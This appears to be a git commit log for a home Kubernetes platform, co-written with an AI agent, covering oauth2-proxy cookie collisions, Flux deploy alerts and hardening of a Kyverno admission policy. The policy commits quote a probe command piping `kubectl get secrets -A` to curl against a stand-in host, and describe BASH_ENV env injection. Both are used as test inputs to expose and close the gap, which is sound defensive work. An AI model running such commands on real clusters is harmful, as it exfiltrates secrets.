  * spec-immutability was skipping because of a PATH BUG IN THE WORKTREE SHIM, not the
    environment -- dev.sh derives the spec path from its own REPO_ROOT, which in a worktree
    does not resolve. Mounting the spec repo at /home-network-k3s with SPEC_REPO set makes
    R-TEST-06 actually run and PASS. Local gate is now rc 3 for one reason (gitea-settings,
    no token) instead of two.
  * CI's gate reports FAILURE on 75a4029 for exactly one reason, and it is not this change:
    `approval-policy: a sensitive change lacks a non-author approval`. Every substantive
    stage is green in CI, including gitea-settings. conformance/** is a sensitive path, so
    the PR is fail-closed pending a human review -- CLAUDE.md §1 working as designed.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-30 12:56:33 -05:00
jakman85andClaude Opus 5 0a0adce4d8 docs(auth): bound crafty's post-fix ratio to its own pod; record the metrics gap
gate / gate (pull_request) Successful in 1m41s
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Coordinator raised crafty as counter-evidence: it carries the cookie fix and
showed the platform's worst ratio (81:1 over 24h from Loki), implying the fix
does not work. Bounded it exactly instead of in Loki -- crafty's pod started
2026-09-30T03:57:19Z with 0 restarts, so a 24h window is ~10h of the PRE-fix
process. Read off the pod's own log, whose boundary is the process start:

  crafty  3 'No valid authentication', 0 AuthSuccess, in 13h52m   <- not 81
          one client IP, 2 of the 3 on /ws (WebSocket reconnects), two
          isolated minutes (04:02, 15:22)

Post-fix crafty is idle, not broken. Correctly bounded it is evidence FOR the
fix. The ratio metric ranks CHATTINESS, not breakage: radarr's 156:1 is
/api/v3/command (62), /api/v3/queue/details (46), /signalr/negotiate (43) --
UI polling. Added that trap to the runbook, because ranking apps this way is
how a deployed fix gets written off.

That polling also sharpens the jackett mechanism: every poll arriving with a
cookie radarr cannot decrypt calls ClearSession again, so a left-open radarr
tab deletes jackett's cookie every few seconds. Explains the intermittency.

Re-weighted the diagnosis as asked: mechanisms 2 and 3 (5-minute session with
no --cookie-refresh; 302-instead-of-401 on XHR) are demonstrated from
jackett's own log and between them fully explain the report. Mechanism 1
(collision) is firing and jackett genuinely violates it, but causation is one
3-second adjacency, not a population -- necessary and firing, not proven
sufficient. Stated that way in the entry.

Metrics: confirmed no per-app sidecar exposes any (--metrics-address ABSENT,
ports ['http'] on all six); only the shared proxy has the flag and a metrics
port. Worth adding and DECLINED HERE for the structural reason only -- the
container's args AND ports both come from _oauth2_sidecar_container(), so it
hits the identical five-file blast radius. It belongs in the same single
renderer commit. Recorded, not silently skipped.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-30 12:52:12 -05:00
jakman85andClaude Opus 5 6a6fea8151 docs(auth): root-cause jackett's session loss; add the oauth2-proxy-session runbook
Reported as "GET works, PUT/POST to add indexers fail, reloading never helps,
and I am never re-prompted". Diagnosis lands here; the MANIFEST FIX DOES NOT,
deliberately -- see the blocker below.

ROOT CAUSE, measured from two pods' logs interleaved to the second:

  15:31:06  jackett  [AuthSuccess]
  15:31:29  radarr   "cookie signature not valid, removing session"
  15:31:32  jackett  "No valid authentication in request"   <- 3s later

Six oauth2-proxy instances (seven pods) emit the DEFAULT cookie name
`_oauth2_proxy` on `.home.keithjackson.dev` holding seven DIFFERENT
cookie-secrets (compared in-cluster by sha256; all distinct). `removing
session` is ClearSession, which expires the cookie on radarr's own zone-wide
--cookie-domain, so jackett's session is DELETED by a process in another
namespace, 26s after a clean login whose `expires` was 5 minutes out. 8 such
lines in radarr's log, 1 in jackett's, 0 elsewhere. It was never expiry and it
was never Jackett -- and it is why reloading does not help: the operator's
Radarr tab re-clears the cookie seconds after each new login.

Two contributing mechanisms, also measured:
  * session lifetime == Keycloak access-token lifetime, 300.000s exactly, with
    refresh_token:true on the same line and --cookie-refresh unset (default 0).
  * XHRs answered 302 not 401: oauth2-proxy's AJAX guard needs an exact
    `Accept: application/json`, which Jackett's jQuery does not send. On /api/
    paths: 33 x 302 vs 2 x 401. A browser following a 302 re-issues a POST as a
    GET and DROPS THE BODY -- 4 of 6 POSTs never reached Jackett at all.

WHY NO MANIFEST FIX HERE. apps/wave-0/jackett.yaml is a GENERATED GOLDEN. The
sidecar args come from one shared function, _oauth2_sidecar_container() in
catalog/render.py; catalog/jackett.yaml declares only auth.mode/auth.groups and
the auth schema is additionalProperties:false, so there is NO per-app override
hook. Hand-editing the rendered file is rejected by the gate exactly as
designed ("GOLDEN DRIFT ... render-golden: FAIL"). Changing the renderer
instead rewrites all five rendered apps -- measured:

  CHANGED: apps/wave-0/{jackett,pihole,qbittorrent}.yaml
  CHANGED: apps/wave-1/{radarr,sonarr}.yaml

and render-golden requires all five be regenerated in the same commit. Four of
them are owned by fix/oauth2-proxy-cookie-collision-fleet right now. The cookie
fix is ONE change, not five; it needs re-cutting as a single renderer commit
rather than two branches rewriting the same generated block.

Validated the intended argument list against the pinned image and the real
issuer before stopping: it printed back `name:_oauth2_proxy_jackett ...
domains:jackett.home.keithjackson.dev ... refresh:after 2m30s` and
`API route - Path: ^/api/`. Two corrections fell out of that: --api-route is
SINGULAR (--api-routes does not exist and the proxy refuses to start), and
--session-cookie-minimal is mutually exclusive with --cookie-refresh
("cookie_refresh > 0 requires oauth tokens in sessions"), so dropping
--pass-access-token does NOT shrink the cookie -- it is a least-privilege
change, not a size one.

Adds runbooks/oauth2-proxy-session.md: the four sidecar log lines that tell the
auth layers apart (including the upstream `-` that means the proxy answered a
request the app never saw), the cross-log collision diagnosis, and the
generated-golden warning with its blast radius. Registered in the
configMapGenerator AND runbooks/README.md so the URL resolves.

Jackett is NOT fixed by this commit and will keep losing its session to Radarr
until the renderer change ships.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-30 12:47:42 -05:00
jakman85andClaude Opus 5 75a4029d64 docs(decisions): record the measured gate rc, stage list and touched subset
gate / gate (pull_request) Failing after 1m44s
gate / conformance (pull_request) Has been skipped
The handoff asserted a gate outcome before the gate had been run against a
committed branch. Replaces it with what was actually measured on 9a4489b:
rc 3 (UNDETERMINED) -- green decisions-log/lint/l0/render-golden/l1/approval-policy,
skipped spec-immutability/gitea-settings/conformance -- plus the twelve touched
requirements that are UNVERIFIED at L2/L3, and a note that approval-policy passed
VACUOUSLY here (event='none') while the PR itself needs a non-author review because
conformance/** is a sensitive path.

Also records that the three conformance/tests/l1-rendering goldens are regenerated:
they are expected-output fixtures of the same renderer, and the L1 stage caught their
drift on the first gate run rather than anyone remembering them.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-30 12:46:40 -05:00
jakman85andClaude Opus 5 9a4489b733 fix(auth): five oauth2-proxy sidecars shared one cookie and evicted each other
gate / gate (pull_request) Failing after 1m43s
gate / conformance (pull_request) Has been skipped
Every oauth2-proxy on this platform is an independent instance with its OWN
cookie-secret. Measured on prod 2026-09-30: seven `*-oauth2-proxy` Secrets, seven
DISTINCT cookie-secret values (compared in-cluster, never printed). So no instance
can DECRYPT another's cookie -- it can only OVERWRITE it.

All of them were emitting oauth2-proxy's DEFAULT names (`_oauth2_proxy`,
`_oauth2_proxy_csrf`) scoped to `.${BASE_DOMAIN}`, so the browser kept ONE cookie
pair for SIX live instances (jackett, pihole, qbittorrent, radarr, sonarr, and the
shared forward-auth proxy). Whichever authenticated last clobbered the rest; the
loser logged `No valid authentication in request`, bounced to Keycloak, and -- the
SSO session still being live -- was redirected straight back and clobbered it again.
The symptom is "I signed into Keycloak but I'm still not signed in", which sends you
hunting in Keycloak, where nothing is wrong. Crafty was fixed on its own side on
2026-09-29 (#22); this is that fix generalized to the pattern.

THE DEFECT WAS NOT IN THE MANIFESTS. apps/wave-*/{jackett,pihole,qbittorrent,radarr,
sonarr}.yaml are GENERATED goldens; one function emits all five. So the fix is in
catalog/render.py::_oauth2_sidecar_container(), and both flags are now DERIVED from
the ServiceDefinition rather than defaulted:

    --cookie-name=_oauth2_proxy_{s['name']}     unique by construction
    --cookie-domain={host}                      the app's own host, not the zone

A per-service table was rejected for the reason twelve ServiceMonitors once acquired
one identical wrong port name in a single edit: it would leave the NEXT app onboarded
defaulting straight back into the collision. --whitelist-domain stays zone-wide; it
governs post-login REDIRECT targets, not cookie scope.

Host-scoping is defence in depth and is asserted deliberately: a zone-wide cookie is
transmitted by the browser to every host in the zone, so each app's session token was
being sent to every sibling -- and it is what would make a FUTURE name collision
platform-wide instead of contained.

New gate check (whole-repo scope, so it runs on EVERY gate invocation, not only when
a touched path happens to attribute an identity requirement):

    conformance/tests/l0-static/oauth2-proxy-cookie-names-distinct/

It resolves each instance's EFFECTIVE cookie name -- declared, or oauth2-proxy's
built-in default when omitted, because an omitted flag is not an absence but a CLAIM
on a name, and reading it as an absence is exactly why this survived five reviews.
Then: no two collide; none is another's name + `_csrf` (oauth2-proxy derives the CSRF
cookie that way); the default has exactly ONE owner, registered with its reason in a
shrink-only register -- the SHARED proxy, which MUST keep `_oauth2_proxy` because
renaming it signs every other gated surface out at once; every other instance is
host-scoped; render.py derives rather than lists; and the SHIPPED renderer is proven
end-to-end on two synthetic ServiceDefinitions, so the check stays falsifiable once
the tree is clean.

Tested in both directions: rc 0 on this tree (39 assertions, 7 instances), rc 1 with
26 failures against the pre-fix tree, plus one targeted mutation per assertion class
(duplicate name, CSRF derivation, zone-wide domain, unregistered default heir, stale
register entry) -- each fired, and nothing else did.

Also regenerates the three L1 rendering goldens, which are expected-output fixtures
of the same renderer.

UNVERIFIED: no browser round-trip. The collision has still never been REPRODUCED in a
browser -- doing so needs two gated apps visited in one session -- so this is reasoned
from measured configuration and from the mechanism, not from a failure anyone watched.
Nothing was applied; merging rolls five Deployments and invalidates every existing
session on them once. See decisions/2026-09-30-oauth2-proxy-cookie-collision-fleet.md.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-30 10:55:06 -05:00
jakman85 0fbf544d5e Merge pull request 'fix(obs): the deploy notification was inhibited before it could send' (#26) from fix/flux-deploy-notification-inhibited into main
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Reviewed-by: Keith Jackson <[email protected]>
2026-09-30 15:18:54 +00:00
jakman85andClaude Opus 5 8427b28b0e fix(obs): the deploy notification was inhibited before it could send
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FluxRolloutInProgress fired correctly on the first real deploy and its mail
was suppressed before Alertmanager dispatched it. One label was wrong.

kube-prometheus-stack ships general.rules -> InfoInhibitor:

  group by (namespace) (ALERTS{severity="info"} == 1)
    unless on (namespace) group by (namespace)
      (ALERTS{alertname!="InfoInhibitor", alertstate="firing",
              severity=~"warning|critical"} == 1)

which fires for any namespace holding a firing info alert AND NOTHING ELSE
wrong in it, and the chart's third inhibit_rule (source alertname=InfoInhibitor
-> target severity="info", equal [namespace]) then drops exactly that alert.

For a deploy notification that is the worst possible interaction, because the
suppressed case is the ONLY case that matters: on a healthy rollout of a healthy
cluster flux-system holds no warning or critical alert, so the notification is
inhibited precisely when it is wanted, and would arrive only when something else
in flux-system was already broken. Measured on prod: InfoInhibitor went active
2026-09-30T04:58:48Z, the same moment the alert began firing for 12
Kustomizations, and amtool showed no FluxRolloutInProgress in Alertmanager
either active or --inhibited, with zero send failures.

Upstream's intent is explicit and fair: severity "info" means "only worth
showing next to a real problem". A deploy notice is not that, so it must not
claim that severity. FluxRolloutInProgress now carries `notification: deploy`
and no severity at all, and the route matches on that label — no inhibit_rule
in the chart targets anything but severity values, and omitting severity also
stops InfoInhibitor firing for flux-system rather than merely working around it.
FluxRolloutStuck keeps severity: warning and is unaffected.

Also verified on prod in the process, all previously UNVERIFIED: the 33 metric
series exist exactly as designed, the `revision` label IS populated (so the
lastAppliedRevision/artifact.revision paths are right), the podAnnotations roll
forced a new KSM pod, and the rule both fired for 12 lagging Kustomizations and
then CLEARED on convergence — the completion signal's whole mechanism, on real
data. Routing proven by `amtool config routes test notification=deploy` ->
email-deploy.

Still unverified: no mail observed in the inbox. The 226->227 email counter
increment during the window cannot be attributed (no receiver label, other
alerts active), and I am not claiming it either way. See the handoff entry.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-30 00:05:10 -05:00
jakman85 64c72fd394 Merge pull request 'feat(obs): notify on Flux deploy start and completion' (#25) from feat/flux-deploy-notifications into main
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jakman85andClaude Opus 5 55b232e2ce feat(obs): notify on Flux deploy start and completion
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The operator got no mail when Flux began applying a git change and none when
it finished. Measured cause: notification-controller v1.4.0 is running and its
CRDs serve v1beta3, but there are ZERO Provider and ZERO Alert objects in the
cluster — nothing in git ever created any.

The obvious fix does not work. Neither Flux event can be filtered into a deploy
signal: ReconciliationSucceeded is a heartbeat (101 events in one hour across 16
Kustomizations, message byte-identical whether the apply changed anything), and
Progressing is worse (five Kustomizations re-apply the same object on every tick
— event counts 2505/2504/2501/2495/2490). gotk_* carries no revision label at
all (gotk_reconcile_condition 120 series, gotk_suspend_status 40, none with one).

The applied revision is the only signal that moves when and only when git moves,
and it lives in object status alone. So export it via the kube-state-metrics
custom-resource-state path that already serves the Velero Schedule metrics —
kube_flux_kustomization_info/_suspended and kube_flux_gitrepository_info — and
ask the question in PromQL:

  FluxRolloutInProgress (severity: info, no `for:`) fires the moment a
  non-suspended Kustomization's applied revision is not the revision the
  GitRepository fetched from main, and CLEARS when all have caught up. Fired
  mail = a deploy started; RESOLVED mail = it completed. The completion half is
  send_resolved, not a second rule.

  FluxRolloutStuck (severity: warning, for: 30m) is the same expression as the
  escalation for a rollout that started and never converged.

Two guards, each with a test whose only job is to fail if the clause is removed:
`and on () (count(gitrepository_info) > 0)` — without it a missing exporter makes
`unless on (revision) <empty>` remove nothing and all 16 Kustomizations alert
forever, the permanently-firing mode this repo shipped once already — and the
suspended-Kustomization exclusion, without which a suspended tier holds the
rollout open and the "applied" mail never arrives.

A dedicated Alertmanager severity=info route + email-deploy receiver keeps deploy
notices off the [WARNING] catch-all. podAnnotations carries a roll-counter because
the chart sets no checksum over the custom-resource-state ConfigMap, so a
config-only edit would leave KSM on the old collector set with the new alerts
silently inert.

Verified: promtool SUCCESS on 6 scenarios (both guards, plus the convergence test
that proves the alert empties itself); lint/l0/render-golden/l1/decisions-log/
spec-immutability green in the pinned toolbox. NOT verified: no mail has been
sent — the metrics do not exist until this merges. Full gap list, and the
deliberately-cut notification-controller half, in the handoff entry.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 23:40:01 -05:00
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jakman85andClaude Opus 5 0749562ad0 docs(decisions): record the rebase and the README merge decision
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#18 has landed, so this branch's "PR #18 must merge first" caveat was stale --
corrected to say what is now true and, more importantly, what is still NOT:
no image has been built or pushed, so the digest this branch pins resolves to
nothing.

Also records the one real conflict the rebase hit and how it was resolved.
#18's README carried a blockquote saying the 4th admission rule pinning the
init container's command "is not in this branch". It IS in this branch
(trigger-initcontainers-must-be-the-committed-clone-step, plus the
ephemeralContainers and env/envFrom rules beside it), so keeping #18's wording
would have left main documenting an open hole that had just been closed.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 23:04:26 -05:00
jakman85andClaude Opus 5 76b265cd62 docs(decisions): the PR #20 handoff moves out of DECISIONS-LOG.md into its own file
The ~400-line append this branch made to DECISIONS-LOG.md's tail is what made PR #20
unmergeable: every concurrent branch appends to the same last hunk, and on 2026-09-29
four of the five open PRs conflicted on that one file and nothing else. The prose is
unchanged in substance -- it moves to decisions/2026-09-29-conformance-job-template.md,
the one-file-per-handoff layout PR #24 introduces -- and DECISIONS-LOG.md is no longer
touched by this branch at all.

Carried over in full, including every caveat: the initContainers/ephemeralContainers/env
finding and its measurements, the fixture matrix (65 pass / 13 fail / 0 error / 0 skip),
the hardcoded-clone-URL reasoning, the args shapes that cannot run in-cluster, the
`approval-policy` check that does not exist, and all of the UNVERIFIED items -- nothing
has executed against a cluster, the runner image and Secret do not exist, PR #18 must
merge first, and whether the API server even accepts ephemeralContainers in a Job pod
template is still unestablished.

One claim was WEAKENED rather than restated, per ci/l0.sh's own lesson: `kyverno test`
exits 0 and prints "N tests passed" even when a policy FAILS TO LOAD (every row becomes
Skip / Invalid Policy), which was measured while authoring this very policy. The entry
now says explicitly that the admission proofs rest on `kyverno apply`'s `error: 0,
skip: 0` counts, not on any exit code, and that a green l0 line would not by itself have
established that these rules loaded.

Format is decisions/README.md's: frontmatter (date, branch, title) plus the three
sections ci/decisions-log.sh enforces. The branch is rebased onto main at c59fe9f,
after #24 merged, so that stage is in the base and DID run against this entry.

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(archive frozen, 2 entries well-formed), lint (404 files), l0, render-golden (10),
l1 all green; gitea-settings SKIPPED (no SETTINGS_API_TOKEN) and conformance L2/L3
SKIPPED (CLUSTER_AVAILABLE unset); MERGE GATE UNDETERMINED -- stages that did not run:
gitea-settings -- rc 3. Nothing FAILED, and rc 3 is not green.

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2026-09-29 23:02:16 -05:00
jakman85andClaude Opus 5 f6e8fb1fee fix(sec): the trigger policy read containers and nothing else — initContainers, ephemeralContainers and env were all open
Authorised by the coordinator in this PR, reversing the brief's "do not touch the policy": the
ban existed to stop the boundary being BENT to fit a Job, not to stop a hole being closed.

MEASURED before this change (kyverno v1.19.0, pinned toolbox), `containers[0]` fully compliant,
`serviceAccountName: conformance-runner`:

  * a `privileged: true` `docker.io/library/alpine:latest` initContainer running
    `kubectl get secrets -A`                            -> pass: 3, fail: 0   ADMITTED
  * the committed template with ONLY the init container's args swapped for
    `kubectl get secrets -A | curl -X POST ... http://evil.invalid/`
                                                        -> pass: 3, fail: 0   ADMITTED

Every rule read `spec.template.spec.containers` (rule 1's pattern, rule 3's
`containers[0].args`) or `volumes` (rule 2). `=(privileged): "false"` only ever applied to
`containers[0]`. `ephemeralContainers` and `env` were equally unread.

Four new rules:
  * trigger-initcontainers-must-be-the-committed-clone-step — at most ONE initContainer, on
    the digest-pinned runner image, command ["/usr/local/bin/conformance-clone"], NO args,
    non-root, no privilege escalation, not privileged.
  * trigger-may-not-declare-ephemeral-containers.
  * trigger-env-names-must-be-the-committed-set — `command` is pinned, so injection moves to a
    variable the pinned command honours, and BASH_ENV alone is arbitrary code execution: bash
    sources it before running a non-interactive script, and the runner's command IS one.
  * trigger-may-not-use-envfrom — a whole Secret as env, whose keys are nowhere in the Job.

All use `deny` conditions, not a `pattern`. A Kyverno array pattern asserts "at least one
element matches", so a pattern-based init rule would have admitted the committed clone step
PLUS an arbitrary second init container — fixture `second-initcontainer` exists because I
nearly wrote it that way.

THE ACTUAL FIX IS THAT THE CLONE SCRIPT LEFT THE JOB. Pinning `command` is worthless when the
command is `/bin/bash -c` and the script arrives as `args`: a policy cannot distinguish the
committed script from an attacker's, because both are just data. The logic now lives in the
image at /usr/local/bin/conformance-clone, from `conformance/incluster/conformance-clone`
(agent 1, PR #18 — which must merge before this template is usable). I had written a second
copy of that script here and DELETED it: two copies of the clone entrypoint, one baked into
the image and one not, drifts into "the reviewed file is not the file that runs". I read
theirs first: the interface matches exactly (CONFORMANCE_GIT_SHA, GITEA_USERNAME/GITEA_TOKEN,
baked clone target /workspace/src — which is what makes workingDir correct — TMPDIR/HOME under
/workspace) and both load-bearing guards survived, the `^[0-9a-f]{40}$` SHA check and
`rev-parse HEAD == SHA`.

Env values and the `valueFrom` source Secret are deliberately NOT constrained: values are
legitimately environment-specific, and conformance-runner can already read this namespace's
Secrets via its own RBAC. Names are the vector, because a name is what a program keys on.

Two Kyverno traps, commented in the rules because both silently invert the result:
`not_null(x, `default`)` and never `||` (JMESPath treats `false` as falsy, so
`allowPrivilegeEscalation || `true`` rewrites the COMPLIANT value into a denial); and
`join(' ', command)` compared as a string, because Equals/NotEquals on arrays is unreliable
and element-wise matching lets `["/bin/sh","-c",...]` through on element 0.

ALSO: the committed `args` default was a shape that cannot run. Agent 1 measured that
`--layer all --strict-coverage` and a bare `--requirements <IDs>` fail on the runner image,
which ships no flux/promtool/kyverno/kustomize. Tracing run.sh gives the precise invariant —
`requirement_scoped_dirs()` is layer-bounded only when `--layer` is given and is not `all`,
and `offline_selected_dirs()` then filters to /l0-static/|/l1-rendering/ — so `--layer` is
mandatory and must name only l2/l3. Default changed from `--layer all --strict-coverage` to
`--layer l2,l3`, and the header now records that the plan's "PHASE EXIT: --layer all" shape
CANNOT run in-cluster: a full-suite run is CI's L0/L1 plus this Job's L2/L3. The policy's args
allowlist is deliberately NOT narrowed to match — a security boundary should not encode which
toolchain an image ships, and an allowed-but-unrunnable shape fails loudly rather than
escalating.

PROVEN, NOT ASSERTED (7 rules):
  real rendered template                   -> pass: 7, fail: 0
  coordinator's exact initContainer probe  -> fail on trigger-initcontainers-...  (6/1)
  ephemeralContainers probe                -> fail on trigger-may-not-declare-... (6/1)
Fixture matrix 65 pass / 13 fail / 0 error / 0 skip, full table in
decisions/2026-09-29-conformance-job-template.md. Every evil
init/ephemeral/env case still PASSES the three original rules — that column is the finding.
`injected-initcontainer-env` PASSES the initContainer rule and is hostile purely through env,
which is why env had to be its own rule.

UNVERIFIED: whether the API server accepts `ephemeralContainers` in a Job pod template at all.
Upstream the field is settable only via the pods/ephemeralcontainers subresource, but whether
that check reaches a nested pod template is not something I could establish without a
`create --dry-run=server`, a mutating request reserved to the operator (CLAUDE.md §5). Rule
added regardless: a no-op if upstream rejects it, the same hole if not.

Gate (toolbox): lint green (404 files), l0 green (kyverno test: 1 policy / 15 resources),
render-golden green (10), l1 green; spec-immutability + gitea-settings SKIPPED; MERGE GATE
UNDETERMINED rc 3. Nothing FAILED.

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2026-09-29 23:02:16 -05:00
jakman85andClaude Opus 5 6ef4def2b5 feat(conformance): the in-cluster Job can now run a named commit and get its results out
`conformance/incluster/chainsaw-job.yaml` was a skeleton: `workspace` was an empty
`emptyDir` with nothing to populate it, so the Job could never have run the suite at
all. Closes docs/plans/l2-l3-conformance-ci-wiring.md §3 items 2 and 3.

The whole shape is dictated by a fail-closed Enforce policy
(platform/kyverno/admission/conformance-trigger-job-shape.yaml) that admits only
`workspace` and `results` as volume names. So:

  * the read-only Gitea credential arrives as env from `secretKeyRef` on Secret
    `conformance-git-readonly` -- by NAME only, no literal in the tree -- and reaches
    `git` via an inline credential.helper that reads the environment, so the token is
    never in argv and never on disk;
  * `$TMPDIR` and `$HOME` are directories ON the `workspace` emptyDir, which keeps
    `readOnlyRootFilesystem: true` without a third volume and without subPath mounts
    (a kubelet-created subPath dir is root-owned 0755 and unwritable by the runner);
  * `results` cannot be mounted at `conformance/_artifacts` -- that path is inside the
    clone target and `git clone` refuses a non-empty target -- hence the new
    `CONF_ARTIFACTS` override, honoured only when set.

The init container shallow-clones, fetches the exact commit if the shallow tip lacks
it, detaches onto it, and ASSERTS `HEAD` equals the requested SHA. The SHA must match
^[0-9a-f]{40}$, so an unrendered placeholder is a hard failure rather than a silent run
of whatever the branch tip was.

Results leave over stdout because the trigger identity has no pods/exec and admission
pins `command` to exactly ["./run.sh"], so nothing can wrap the suite. `run.sh` emits
them on an EXIT trap -- a failed run still ships its red JUnit -- between markers
carrying bytes, base64 line count and sha256 TWICE:

    === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=.. bytes=.. lines=.. sha256=.. ===

`kubectl logs` is lossy and base64 decodes a truncated stream to plausible garbage, so
a collector that makes the five documented checks cannot mistake a partial log for a
complete artifact set. Verified locally: full decode round-trips; head-truncation,
tail-truncation, a dropped interior line and one corrupted character are each detected;
exit codes 0, an explicit 3 and a `set -e` abort all survive the trap with a matching
`rc=` in the envelope.

Admission proven with the pinned CLI rather than assumed -- `kyverno apply` on the
rendered template gives `pass: 3, fail: 0`, and negative controls on the SAME template
(a third volume; `command` wrapped in `/bin/sh -c`) each fail the expected rule. The
shape is now a `real-template` fixture so drift out of admission fails `make -C ci l0`.

FINDING, NOT FIXED HERE: that policy never reads `initContainers`. Measured -- the same
rendered template with only the init container's args replaced by
`kubectl get secrets -A | curl -X POST ... http://evil.invalid/` is ADMITTED (pass 3,
fail 0). The escalation the policy exists to stop is still reachable one field over, and
was before this Job had an init container. A security boundary changes in its own
reviewed PR, so it is documented in the manifest header and in
decisions/2026-09-29-conformance-job-template.md with the recommended 4th rule, not patched in beside the Job that must satisfy it.

UNVERIFIED: nothing here has executed. The `conformance-runner` image does not exist
(plan §3 item 1) and Secret `conformance-git-readonly` does not exist (item 6), so the
clone, the credential helper and the log transport are unexercised against a cluster.
`ci/conformance.sh` is untouched -- CI behaviour is unchanged by this branch.

Gate (toolbox, DEV_KUBECONFIG=/dev/null + .git bind-mount shim): lint/l0/render-golden/l1
green; spec-immutability, gitea-settings and conformance SKIPPED; MERGE GATE
UNDETERMINED, rc 3. Nothing FAILED.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 23:01:33 -05:00
jakman85 cac5c9f2a3 Merge pull request 'feat(conformance): build the runner image the in-cluster L2/L3 Job could never have run' (#18) from feat/conformance-runner-image into main
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jakman85andClaude Opus 5 ad5de2dba9 docs(decisions): move PR #19's handoff out of the frozen DECISIONS-LOG.md
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This branch originally appended ~99 lines to the tail of DECISIONS-LOG.md. That
tail is the hunk every concurrent branch collides on: measured against the live
Gitea on 2026-09-29, four of the five open PRs were mergeable:false and
DECISIONS-LOG.md was the ONLY conflicting path in all four. PR #19 was one of them.
Nothing was wrong with the change; the log's storage format serialised work that
was otherwise parallel.

So the handoff now lives in its own file, decisions/2026-09-29-conformance-trigger-kubeconfig.md,
in the one-entry-per-file layout PR #24 introduces (frontmatter date/branch/title,
plus "What changed" / "What I verified" / "What I did NOT verify"). Concurrent
branches then touch disjoint paths and there is nothing to merge.

The branch was rebuilt on today's main with the DECISIONS-LOG.md change dropped
entirely; infra/gitea/README.md and infra/gitea/conformance-trigger-kubeconfig.sh
are byte-identical to the original commits. The original commit that touched ONLY
DECISIONS-LOG.md -- the measurement that PR #19's CI has no approval-policy check
-- was dropped as a commit and its substance folded into the new entry verbatim in
meaning, including every UNVERIFIED it recorded.

No content was upgraded. The script is still UNEXECUTED: nothing minted, no Gitea
object written, no kubectl mutation, and the Gitea variables API shape remains
documentation rather than measurement.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 22:51:14 -05:00
jakman85andClaude Opus 5 b105c764fc docs(decisions): handoff for the conformance-runner image, as its own file
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CLAUDE.md section 7. This branch originally carried its handoff as a ~236-line
append to the tail of DECISIONS-LOG.md. Measured against the live Gitea on
2026-09-29, that append was the ONLY conflicting path between PR #18 and main,
and it is why the PR was `mergeable: false` -- four of the five open PRs were
unmergeable for exactly the same reason, on the same last hunk.

The append is dropped from this branch entirely; the branch now touches nothing
outside conformance/. Its substance moves here unchanged in meaning, in the
one-file-per-entry shape PR #24 introduces and ci/decisions-log.sh enforces:
frontmatter (date, branch, title) plus "What changed" / "What I verified" /
"What I did NOT verify".

Nothing the branch claims to have proven was upgraded in the move. Everything
the original entry marked UNVERIFIED is still marked UNVERIFIED here, and the
list grew rather than shrank: the image has never run in the cluster, it is not
pushed anywhere so CONFORMANCE_RUNNER_IMAGE_DIGEST stays empty, the image was
NOT rebuilt during this rework, chainsaw's cosign signatures are still
unverified, the 4th policy rule that would make conformance-clone REQUIRED does
not exist so the initContainer hole is open, and L2/L3 still do not run in CI.

Gate on the reworked branch, in the pinned toolbox from this worktree:
rc 3, MERGE GATE: UNDETERMINED, nothing FAILED. spec-immutability, lint, l0,
render-golden and l1 all green; gitea-settings the only stage that did not run
(SETTINGS_API_TOKEN unwired repo-wide); conformance warns L2/L3 UNVERIFIED for
R-SEC-02 R-TEST-01..04. Not green, and not reported as green.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 22:51:11 -05:00
jakman85andClaude Opus 5 ab9ba32a76 feat(sec): bake conformance-clone so the init container has no injection surface
Closes half of the admission gap a sibling agent found in PR #13's policy: it pins
the MAIN container's `command` but never reads `initContainers`, so a Job from
`conformance-trigger` can carry an init container with `command: ["/bin/sh","-c"]`
and an arbitrary script, running as the privileged `conformance-runner` SA.
Reproduced by the policy's author: pass 3, fail 0 on a privileged alpine:latest
init container running `kubectl get secrets -A`.

The image now carries /usr/local/bin/conformance-clone, 0755 root:root, so uid
65532 cannot replace the one executable the policy will come to trust. Clone logic
taken from PR #20's `clone-suite-at-commit`, with both load-bearing properties
preserved: the SHA must match ^[0-9a-f]{40}$, and `rev-parse HEAD` is ASSERTED
equal to it after checkout, so an unrendered placeholder is a hard failure instead
of a silent run of the branch tip. No arguments are accepted.

DEVIATION FROM THE BRIEF, DELIBERATE: the repo URL and clone target are COMPILED
IN rather than read from the environment. I was asked to take SHA, repo URL and
target dir from env. The policy contains no `env`/`valueFrom`/`secretKeyRef` clause
at all -- so trusting CONFORMANCE_REPO_URL would move the injection one field over:
the trigger points it at a repo it controls, this fetches that, and ./run.sh from
the attacker's tree runs under the privileged SA. "No args" would not have stopped
it. The env vars are still read so the Job template stays self-documenting, but a
value disagreeing with the baked literal is a hard failure, never a redirect. The
SHA is the only genuinely trusted per-run input.

THIS IS HALF A FIX. What makes the fixed path REQUIRED rather than merely available
is a 4th policy rule demanding command: ["/usr/local/bin/conformance-clone"] with
no args on every initContainer. That edits the security boundary and belongs in its
own reviewed PR -- it is NOT here. Until it lands the hole is open, and the README,
the Containerfile and the script header all say so.

VERIFIED by running it (uid 65532, --read-only): root:root 755 and confirmed not
writable by the runner; seven negative cases each asserted to exit non-zero
(arguments, missing SHA, a branch name, an unrendered @@placeholder@@, HOME off the
workspace volume, a REDIRECTED repo URL, a clone target off the workspace volume);
and the positive case -- a real clone of this repo at a real 40-hex SHA with
rev-parse HEAD proven equal to it.

Two bugs of mine that only running it could find, both fixed: the workspace-path
guard matched /workspace/* and so rejected the image's own HOME=/workspace; and the
negative checks were pipelines, which under pipefail aborted the verify at the
first expected failure and silently skipped the other six. A verify that stops
early looks exactly like a verify that passed.

The anonymous-clone fallback is deliberate and logged: read access to this repo
needs no credential today, the integrity guarantee is the SHA assertion rather than
the credential, and requiring the Secret would make the script untestable without
one.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
